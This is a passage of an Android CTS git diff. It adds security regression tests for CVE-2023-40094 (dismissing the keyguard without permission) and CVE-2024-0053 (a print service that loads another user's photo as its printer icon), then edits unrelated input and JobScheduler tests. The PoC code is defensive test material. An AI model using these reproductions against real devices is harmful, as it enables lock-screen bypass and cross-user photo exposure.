+ "androidx.test.core",
+ "androidx.test.rules",
+ "truth",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-40094/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-40094/AndroidManifest.xml
new file mode 100644
index 0000000..e75a5cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-40094/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_40094">
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2023_40094" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-40094/src/android/security/cts/CVE_2023_40094/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-40094/src/android/security/cts/CVE_2023_40094/DeviceTest.java
new file mode 100644
index 0000000..adc3db1
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-40094/src/android/security/cts/CVE_2023_40094/DeviceTest.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_40094;
+
+import static android.Manifest.permission.CONTROL_KEYGUARD;
+import static android.view.WindowManagerPolicyConstants.KEYGUARD_GOING_AWAY_FLAG_TO_SHADE;
+
+import static com.google.common.truth.TruthJUnit.assume;
+
+import static org.junit.Assert.fail;
+
+import android.app.ActivityTaskManager;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testCVE_2023_40094() {
+ try {
+ // Call the vulnerable function 'keyguardGoingAway()'
+ try {
+ ActivityTaskManager.getService()
+ .keyguardGoingAway(KEYGUARD_GOING_AWAY_FLAG_TO_SHADE);
+ } catch (SecurityException securityException) {
+ if (securityException.getLocalizedMessage().contains(CONTROL_KEYGUARD)) {
+ // SecurityException is expected with fix and hence exit the test
+ return;
+ }
+ throw securityException;
+ }
+
+ // Fail the test if SecurityException doesn't occur
+ fail("Device is vulnerable to b/288896339 !!");
+ } catch (Exception e) {
+ assume().that(e).isNull();
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/Android.bp
new file mode 100644
index 0000000..bd07b9d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2024-0053",
+ defaults: [
+ "cts_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "compatibility-device-util-axt",
+ "androidx.test.uiautomator_uiautomator",
+ "sts-device-util",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/AndroidManifest.xml
new file mode 100644
index 0000000..c3a5e63
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2024 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2024_0053">
+
+ <application android:label="CVE_2024_0053_print">
+ <service android:name=".TestPrintService"
+ android:permission="android.permission.BIND_PRINT_SERVICE"
+ android:exported="false">
+ <intent-filter>
+ <action android:name="android.printservice.PrintService"/>
+ </intent-filter>
+ </service>
+ </application>
+
+<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2024_0053" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/res/values/strings.xml
new file mode 100644
index 0000000..7203f40
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/res/values/strings.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2024 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="localPrinterId">cve_2024_0053_printer_id</string>
+ <string name="printerName">cve_2024_0053_printer_name</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/src/android/security/cts/CVE_2024_0053/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/src/android/security/cts/CVE_2024_0053/DeviceTest.java
new file mode 100644
index 0000000..6fcb76a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/src/android/security/cts/CVE_2024_0053/DeviceTest.java
@@ -0,0 +1,268 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *s
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2024_0053;
+
+import static android.Manifest.permission.CREATE_USERS;
+import static android.os.UserHandle.USER_NULL;
+import static android.provider.MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+import static com.android.sts.common.SystemUtil.poll;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+import static com.google.common.truth.TruthJUnit.assume;
+
+import android.app.Instrumentation;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.ContentProvider;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.UserInfo;
+import android.graphics.drawable.Icon;
+import android.net.Uri;
+import android.os.Build;
+import android.os.UserManager;
+import android.print.PrintManager;
+import android.print.PrinterId;
+import android.provider.Settings;
+import android.util.Log;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testPocCVE_2024_0053() {
+ try {
+ // Check if the device supports multiple users or not
+ final Instrumentation instrumentation = getInstrumentation();
+ final Context context = instrumentation.getContext();
+ final UserManager userManager = context.getSystemService(UserManager.class);
+ assume().withMessage("This device does not support multiple users")
+ .that(userManager.supportsMultipleUsers())
+ .isTrue();
+
+ // Get the user id of "cve_2024_0053_user"
+ final int userId =
+ runWithShellPermissionIdentity(
+ () -> {
+ List<UserInfo> list = userManager.getUsers();
+ for (UserInfo info : list) {
+ if (info.toString().contains("cve_2024_0053_user")) {
+ return info.getUserHandle().getIdentifier();
+ }
+ }
+ return USER_NULL;
+ },
+ CREATE_USERS);
+ assume().withMessage("Unable to find the user cve_2024_0053_user")
+ .that(userId)
+ .isNotEqualTo(USER_NULL);
+
+ // Get the Image id of screenshot taken in secondary user
+ String imageId = fetchImageIdFromSecondaryUser(userId);
+ assume().withMessage("Could not get image id of secondary user's image")
+ .that(imageId)
+ .isNotNull();
+
+ // Set SharedPreferences to fetch cve_2024_0053_user's userid and imageId of screenshot
+ // in TestPrintService to reproduce issue
+ final String currentPackageName = context.getPackageName();
+ context.getSharedPreferences(currentPackageName, Context.MODE_PRIVATE)
+ .edit()
+ .putString("imageId", imageId)
+ .putInt("userId", userId)
+ .commit();
+
+ // Launch fragment PrintSettingsFragment
+ Intent intent = new Intent(Settings.ACTION_PRINT_SETTINGS);
+ context.startActivity(
+ intent.setFlags(
+ Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK));
+
+ // Wait for PrintSettingsFragment to be launched
+ assume().withMessage("PrintSettingsFragment not launhced")
+ .that(
+ checkActivityLaunched(
+ intent.resolveActivity(context.getPackageManager())
+ .flattenToString()))
+ .isTrue();
+
+ // Fetch and add the flag 'RECEIVER_EXPORTED' for 'TIRAMISU' and above versions to
+ // keep the code consistent
+ final int requiredFlag =
+ Build.VERSION.SDK_INT >= 33 /* TIRAMISU */
+ ? (int) Context.class.getField("RECEIVER_EXPORTED").get(context)
+ : 0;
+
+ // Check if there is an exception while setting icon of Printer
+ // Register a broadcast receiver to get broadcast from TestPrintService
+ CompletableFuture<String> broadcastReceived = new CompletableFuture<>();
+ context.registerReceiver(
+ new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ broadcastReceived.complete(intent.getStringExtra("exception"));
+ } catch (Exception e) {
+ // Ignore
+ }
+ }
+ },
+ new IntentFilter("cve_2024_0053_action"),
+ requiredFlag);
+
+ UiDevice uiDevice = UiDevice.getInstance(instrumentation);
+
+ // Click on "CVE_2024_0053_print" to start printer discovery session and add
+ // "cve_2024_0053_printer"
+ Pattern printservicePattern =
+ Pattern.compile("CVE_2024_0053_print", Pattern.CASE_INSENSITIVE);
+ assume().withMessage("Printservice CVE_2024_0053_print not found")
+ .that(
+ waitForUiObject(
+ uiDevice,
+ By.text(printservicePattern),
+ true /* clickRequired */))
+ .isTrue();
+
+ // Wait for the printer to be added
+ Pattern printerPattern =
+ Pattern.compile(
+ context.getString(R.string.printerName), Pattern.CASE_INSENSITIVE);
+ assume().withMessage("Printer cve_2024_0053_printer not found")
+ .that(
+ waitForUiObject(
+ uiDevice, By.text(printerPattern), false /* clickRequired */))
+ .isTrue();
+
+ // Wait for broadcast from TestPrintService.
+ String exception = broadcastReceived.get(10_000 /* timeout */, TimeUnit.MILLISECONDS);
+ assume().withMessage("Exception occurred in TestPrintService " + exception)
+ .that(exception)
+ .isNull();
+
+ // Get icon of "cve_2024_0053_printer"
+ PrintManager printManager = context.getSystemService(PrintManager.class);
+ PrinterId printerId =
+ new PrinterId(
+ new ComponentName(currentPackageName, TestPrintService.class.getName()),
+ context.getString(R.string.localPrinterId));
+ Icon printerIcon = printManager.getCustomPrinterIcon(printerId);
+
+ // With fix icon of "cve_2024_0053_printer" is null and without fix it is
+ // cve_2024_0053_user's image
+ if (printerIcon != null) {
+ final String targetImageUri =
+ String.format(
+ "%s/%s",
+ ContentProvider.maybeAddUserId(EXTERNAL_CONTENT_URI, userId),
+ imageId);
+ Uri secondaryUserIconUri =
+ Icon.createWithContentUri(Uri.parse(targetImageUri)).getUri();
+
+ // Fail the test if icon of "cve_2024_0053_printer" is cve_2024_0053_user's image
+ assertWithMessage(
+ "Device is vulnerable to b/281525042 hence A user can enumerate"
+ + " and view pictures of other users providing a PrintService"
+ + " with a custom icon")
+ .that(printerIcon.getUri())
+ .isNotEqualTo(secondaryUserIconUri);
+ }
+ } catch (Exception e) {
+ assume().that(e).isNull();
+ }
+ }
+
+ private boolean waitForUiObject(UiDevice uiDevice, BySelector selector, boolean clickRequired)
+ throws Exception {
+ boolean objectFound = uiDevice.wait(Until.hasObject(selector), 5000 /* timeout */);
+ if (objectFound && clickRequired) {
+ UiObject2 uiobject = uiDevice.findObject(selector);
+ poll(() -> (uiobject.isEnabled()));
+ uiobject.click();
+ }
+ return objectFound;
+ }
+
+ private boolean checkActivityLaunched(String activityName) throws Exception {
+ final Pattern resumedPattern =
+ Pattern.compile("mResumed=(?<value>(true|false))", Pattern.CASE_INSENSITIVE);
+ return poll(
+ () -> {
+ String dumpsys =
+ runShellCommand(String.format("dumpsys activity " + activityName));
+ Matcher matcher = resumedPattern.matcher(dumpsys);
+ if (matcher.find() && matcher.group("value").equals("true")) {
+ return true;
+ }
+ return false;
+ });
+ }
+
+ private String fetchImageIdFromSecondaryUser(int userId) throws Exception {
+ // Fetch the image-id of the captured screenshot image
+ final Pattern pattern = Pattern.compile("_id=(?<imageId>[0-9]+)", Pattern.CASE_INSENSITIVE);
+ final String imageInfoFetchingCommand =
+ String.format(
+ "content query --user %d" + " --uri %s" + " --projection _id",
+ userId, EXTERNAL_CONTENT_URI);
+ final CompletableFuture<String> imageId = new CompletableFuture<>();
+ assume().withMessage("Failed to fetch imageId from secondary user")
+ .that(
+ poll(
+ () -> {
+ try {
+ Matcher matcher =
+ pattern.matcher(
+ runShellCommand(imageInfoFetchingCommand));
+ if (matcher.find()) {
+ imageId.complete(matcher.group("imageId"));
+ return true;
+ }
+ } catch (Exception e) {
+ Log.i(
+ "CVE-2024-0053",
+ "Got an exception while fetching the imageId : "
+ + e);
+ }
+ return false;
+ }))
+ .isTrue();
+ return imageId.getNow(null /* default imageId */);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/src/android/security/cts/CVE_2024_0053/TestPrintService.java b/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/src/android/security/cts/CVE_2024_0053/TestPrintService.java
new file mode 100644
index 0000000..31c7607
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/src/android/security/cts/CVE_2024_0053/TestPrintService.java
@@ -0,0 +1,137 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *s
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2024_0053;
+
+import static android.os.UserHandle.USER_NULL;
+import static android.provider.MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
+
+import static com.google.common.truth.TruthJUnit.assume;
+
+import android.content.ContentProvider;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.graphics.drawable.Icon;
+import android.net.Uri;
+import android.os.CancellationSignal;
+import android.print.PrinterId;
+import android.print.PrinterInfo;
+import android.printservice.CustomPrinterIconCallback;
+import android.printservice.PrintJob;
+import android.printservice.PrintService;
+import android.printservice.PrinterDiscoverySession;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TestPrintService extends PrintService {
+
+ @Override
+ protected void onRequestCancelPrintJob(PrintJob printJob) {}
+
+ @Override
+ protected void onPrintJobQueued(PrintJob printJob) {}
+
+ @Nullable
+ @Override
+ protected PrinterDiscoverySession onCreatePrinterDiscoverySession() {
+ // Generate printerId of "cve_2024_0053_printer" and start printer discovery session
+ PrinterId printerId = generatePrinterId(getString(R.string.localPrinterId));
+ return new TestDiscoverySession(printerId);
+ }
+
+ class TestDiscoverySession extends PrinterDiscoverySession {
+ PrinterId mPrinterId;
+
+ public TestDiscoverySession(PrinterId id) {
+ mPrinterId = id;
+ }
+
+ @Override
+ public void onStartPrinterStateTracking(@NonNull PrinterId printerId) {}
+
+ @Override
+ public void onStopPrinterStateTracking(@NonNull PrinterId printerId) {}
+
+ @Override
+ public void onStartPrinterDiscovery(@NonNull List<PrinterId> priorityList) {
+ // Build and add 'cve_2024_0053_printer'
+ PrinterInfo.Builder pBuilder =
+ new PrinterInfo.Builder(
+ mPrinterId, getString(R.string.printerName), PrinterInfo.STATUS_IDLE);
+ pBuilder.setHasCustomPrinterIcon(true);
+ PrinterInfo pInfo = pBuilder.build();
+ ArrayList<PrinterInfo> pList = new ArrayList<PrinterInfo>();
+ pList.add(pInfo);
+ addPrinters(pList);
+ }
+
+ @Override
+ public void onStopPrinterDiscovery() {}
+
+ @Override
+ public void onRequestCustomPrinterIcon(
+ @NonNull PrinterId printerId,
+ @NonNull CancellationSignal cancellationSignal,
+ @NonNull CustomPrinterIconCallback callback) {
+ String exception = null;
+ try {
+ // Get userId of 'cve_2024_0053_user'
+ final SharedPreferences sharedPreferences =
+ getSharedPreferences(getPackageName(), MODE_PRIVATE);
+ int userId = sharedPreferences.getInt("userId", USER_NULL);
+ assume().withMessage("Could not get user id of secondary user in print service")
+ .that(userId)
+ .isNotEqualTo(USER_NULL);
+
+ // Get uri of 'cve_2024_0053_user's image
+ String imageId = sharedPreferences.getString("imageId", null /* default id */);
+ assume().withMessage(
+ "Could not get image id of secondary user's image in print service")
+ .that(imageId)
+ .isNotNull();
+ final String targetImageUri =
+ String.format(
+ "%s/%s",
+ ContentProvider.maybeAddUserId(EXTERNAL_CONTENT_URI, userId),
+ imageId);
+
+ // Set icon of "cve_2024_0053_printer" as cve_2024_0053_user's image
+ Icon icon = Icon.createWithContentUri(Uri.parse(targetImageUri));
+ callback.onCustomPrinterIconLoaded(icon);
+ } catch (Exception e) {
+ exception = e.getMessage();
+ } finally {
+ try {
+ Intent intent = new Intent("cve_2024_0053_action");
+ intent.putExtra("exception", exception);
+ sendBroadcast(intent);
+ } catch (Exception e) {
+ // Ignore all exceptions
+ }
+ }
+ }
+
+ @Override
+ public void onValidatePrinters(@NonNull List<PrinterId> printerIds) {}
+
+ @Override
+ public void onDestroy() {}
+ }
+}
diff --git a/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideMultipleProfileTest.java b/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideMultipleProfileTest.java
index 6148b940..4a71842 100644
--- a/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideMultipleProfileTest.java
+++ b/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideMultipleProfileTest.java
@@ -149,7 +149,9 @@
private void switchUser(int userId) throws DeviceNotAvailableException {
if (!mDevice.switchUser(userId)) {
stopAndRemoveUser(userId);
- Assert.fail("Failed to switch to user " + userId);
+ Assert.fail("Failed to switch to user " + userId + ". This is usually not a bug in "
+ + "WebView, but might mean a system process crashed. Check logcat for "
+ + "\"FATAL EXCEPTION IN SYSTEM PROCESS\".");
}
}
diff --git a/libs/input/src/com/android/cts/input/DebugInputRule.kt b/libs/input/src/com/android/cts/input/DebugInputRule.kt
index 060631c..4fbfe83 100644
--- a/libs/input/src/com/android/cts/input/DebugInputRule.kt
+++ b/libs/input/src/com/android/cts/input/DebugInputRule.kt
@@ -33,7 +33,7 @@
*/
class DebugInputRule : TestWatcher() {
- private companion object {
+ companion object {
private val TAG = "DebugInput"
// The list of log tags to enable when additional debugging of the input pipeline is
diff --git a/libs/input/src/com/android/cts/input/UinputTouchDevice.kt b/libs/input/src/com/android/cts/input/UinputTouchDevice.kt
index 0aac7a1..395e43e 100644
--- a/libs/input/src/com/android/cts/input/UinputTouchDevice.kt
+++ b/libs/input/src/com/android/cts/input/UinputTouchDevice.kt
@@ -40,7 +40,7 @@
display: Display,
private val rawResource: Int,
private val source: Int,
- sizeOverride: Size? = null,
+ useDisplaySize: Boolean = false,
) :
AutoCloseable {
@@ -51,7 +51,8 @@
private val inputManager: InputManager
init {
- uinputDevice = createDevice(instrumentation, sizeOverride)
+ val size = Size(display.getMode().getPhysicalWidth(), display.getMode().getPhysicalHeight())
+ uinputDevice = createDevice(instrumentation, if (useDisplaySize) size else null)
inputManager = instrumentation.targetContext.getSystemService(InputManager::class.java)!!
associateWith(display)
WindowManagerStateHelper().waitForAppTransitionIdleOnDisplay(display.displayId)
@@ -59,8 +60,11 @@
}
private fun injectEvent(events: IntArray) {
- uinputDevice.injectEvents(events.joinToString(prefix = "[", postfix = "]",
- separator = ","))
+ uinputDevice.injectEvents(events.joinToString(
+ prefix = "[",
+ postfix = "]",
+ separator = ",",
+ ))
}
fun sendBtnTouch(isDown: Boolean) {
@@ -134,14 +138,21 @@
// Create the uinput device.
val registerCommand = json.toString()
- return UinputDevice(instrumentation, resourceDeviceId,
- vendorId, productId, source, registerCommand)
+ return UinputDevice(
+ instrumentation,
+ resourceDeviceId,
+ vendorId,
+ productId,
+ source,
+ registerCommand
+ )
}
private fun associateWith(display: Display) {
runWithShellPermissionIdentity(
{ inputManager.addUniqueIdAssociation(port, display.uniqueId!!) },
- "android.permission.ASSOCIATE_INPUT_DEVICE_TO_DISPLAY")
+ "android.permission.ASSOCIATE_INPUT_DEVICE_TO_DISPLAY"
+ )
waitForDeviceUpdatesUntil {
val inputDevice = inputManager.getInputDevice(uinputDevice.deviceId)
display.displayId == inputDevice!!.associatedDisplayId
@@ -189,7 +200,8 @@
override fun close() {
runWithShellPermissionIdentity(
{ inputManager.removeUniqueIdAssociation(port) },
- "android.permission.ASSOCIATE_INPUT_DEVICE_TO_DISPLAY")
+ "android.permission.ASSOCIATE_INPUT_DEVICE_TO_DISPLAY"
+ )
uinputDevice.close()
}
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/FlexibilityConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/FlexibilityConstraintTest.java
index 210ceea..6840db9 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/FlexibilityConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/FlexibilityConstraintTest.java
@@ -90,9 +90,17 @@
mDeviceConfigStateHelper.set("fc_flexibility_deadline_proximity_limit_ms", "0");
// Using jobs with no deadline, but having a short fallback deadline, lets us test jobs
// whose lifecycle is smaller than the minimum allowed by JobStatus.
- mDeviceConfigStateHelper.set("fc_fallback_flexibility_deadline_ms", "100000");
+ mDeviceConfigStateHelper.set("fc_fallback_flexibility_deadlines",
+ "500=100000,400=100000,300=100000,200=100000,100=100000");
+ mDeviceConfigStateHelper.set("fc_fallback_flexibility_deadline_scores",
+ "500=0,400=0,300=0,200=0,100=0");
mDeviceConfigStateHelper.set("fc_min_time_between_flexibility_alarms_ms", "0");
- mDeviceConfigStateHelper.set("fc_percents_to_drop_num_flexible_constraints", "3,6,12,25");
+ mDeviceConfigStateHelper.set("fc_percents_to_drop_flexible_constraints",
+ "500=3|6|12|25"
+ + ",400=3|6|12|25"
+ + ",300=3|6|12|25"
+ + ",200=3|6|12|25"
+ + ",100=3|6|12|25");
// Disable power save mode.
mPreviousLowPowerTriggerLevel = Settings.Global.getString(getContext().getContentResolver(),
@@ -137,7 +145,12 @@
return;
}
// Make it so that constraints won't drop in time.
- mDeviceConfigStateHelper.set("fc_percents_to_drop_num_flexible_constraints", "25,30,35,50");
+ mDeviceConfigStateHelper.set("fc_percents_to_drop_flexible_constraints",
+ "500=25|30|35|50"
+ + ",400=25|30|35|50"
+ + ",300=25|30|35|50"
+ + ",200=25|30|35|50"
+ + ",100=25|30|35|50");
scheduleJobToExecute();
// Job should fire even though constraints haven't dropped.
@@ -156,7 +169,8 @@
return;
}
// Increase timeouts to make sure the test doesn't start passing because of transpired time.
- mDeviceConfigStateHelper.set("fc_fallback_flexibility_deadline_ms", "360000000");
+ mDeviceConfigStateHelper.set("fc_fallback_flexibility_deadlines",
+ "500=360000000,400=360000000,300=360000000,200=360000000,100=360000000");
scheduleJobToExecute();
assertJobNotReady();
@@ -178,8 +192,12 @@
return;
}
// Increase timeouts to make sure the test doesn't start passing because of transpired time.
- mDeviceConfigStateHelper.set("fc_percents_to_drop_num_flexible_constraints",
- "900000,1800000,3600000,7200000");
+ mDeviceConfigStateHelper.set("fc_percents_to_drop_flexible_constraints",
+ "500=900000|1800000|3600000|7200000"
+ + ",400=900000|1800000|3600000|7200000"
+ + ",300=900000|1800000|3600000|7200000"
+ + ",200=900000|1800000|3600000|7200000"
+ + ",100=900000|1800000|3600000|7200000");
scheduleJobToExecute();
assertJobNotReady();
@@ -201,7 +219,8 @@
return;
}
// Increase timeouts to make sure the test doesn't start passing because of transpired time.
- mDeviceConfigStateHelper.set("fc_fallback_flexibility_deadline_ms", "360000000");
+ mDeviceConfigStateHelper.set("fc_fallback_flexibility_deadlines",
+ "500=360000000,400=360000000,300=360000000,200=360000000,100=360000000");
scheduleJobToExecute();
assertJobNotReady();
@@ -223,7 +242,12 @@
Log.d(TAG, "Skipping test since device doesn't support any constraints");
return;
}
- mDeviceConfigStateHelper.set("fc_percents_to_drop_num_flexible_constraints", "3,5,7,50");
+ mDeviceConfigStateHelper.set("fc_percents_to_drop_flexible_constraints",
+ "500=3|5|7|50"
+ + ",400=3|5|7|50"
+ + ",300=3|5|7|50"
+ + ",200=3|5|7|50"
+ + ",100=3|5|7|50");
try (TestAppInterface testAppInterface =
new TestAppInterface(getContext(), FLEXIBLE_JOB_ID)) {
testAppInterface.scheduleJob(Collections.emptyMap(), Collections.emptyMap());
@@ -278,7 +302,8 @@
return;
}
// Increase timeouts to make sure the test doesn't start passing because of transpired time.
- mDeviceConfigStateHelper.set("fc_fallback_flexibility_deadline_ms", "360000000");
+ mDeviceConfigStateHelper.set("fc_fallback_flexibility_deadlines",
+ "500=360000000,400=360000000,300=360000000,200=360000000,100=360000000");
scheduleJobToExecute();
@@ -317,7 +342,8 @@
return;
}
// Increase timeouts to make sure the test doesn't start passing because of transpired time.
- mDeviceConfigStateHelper.set("fc_fallback_flexibility_deadline_ms", "360000000");
+ mDeviceConfigStateHelper.set("fc_fallback_flexibility_deadlines",
+ "500=360000000,400=360000000,300=360000000,200=360000000,100=360000000");
mNetworkingHelper.setWifiState(false);
final int connectivityJobId = FLEXIBLE_JOB_ID;
@@ -380,7 +406,8 @@
return;
}
// Increase timeouts to make sure the test doesn't start passing because of transpired time.
- mDeviceConfigStateHelper.set("fc_fallback_flexibility_deadline_ms", "360000000");
+ mDeviceConfigStateHelper.set("fc_fallback_flexibility_deadlines",
+ "500=360000000,400=360000000,300=360000000,200=360000000,100=360000000");
scheduleJobToExecute();
@@ -418,7 +445,8 @@
return;
}
// Increase timeouts to make sure the test doesn't start passing because of transpired time.
- mDeviceConfigStateHelper.set("fc_fallback_flexibility_deadline_ms", "360000000");
+ mDeviceConfigStateHelper.set("fc_fallback_flexibility_deadlines",
+ "500=360000000,400=360000000,300=360000000,200=360000000,100=360000000");
mNetworkingHelper.setWifiState(false);
mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY);
@@ -452,7 +480,8 @@
return;
}
// Increase timeouts to make sure the test doesn't start passing because of transpired time.
- mDeviceConfigStateHelper.set("fc_fallback_flexibility_deadline_ms", "360000000");
+ mDeviceConfigStateHelper.set("fc_fallback_flexibility_deadlines",
+ "500=360000000,400=360000000,300=360000000,200=360000000,100=360000000");
scheduleJobToExecute();
@@ -493,7 +522,8 @@
}
// Increase timeouts to make sure the test doesn't start passing because of transpired time.
- mDeviceConfigStateHelper.set("fc_fallback_flexibility_deadline_ms", "360000000");
+ mDeviceConfigStateHelper.set("fc_fallback_flexibility_deadlines",
+ "500=360000000,400=360000000,300=360000000,200=360000000,100=360000000");
satisfySystemWideConstraints(false, false, false);
final int jobIdHigh = FLEXIBLE_JOB_ID;
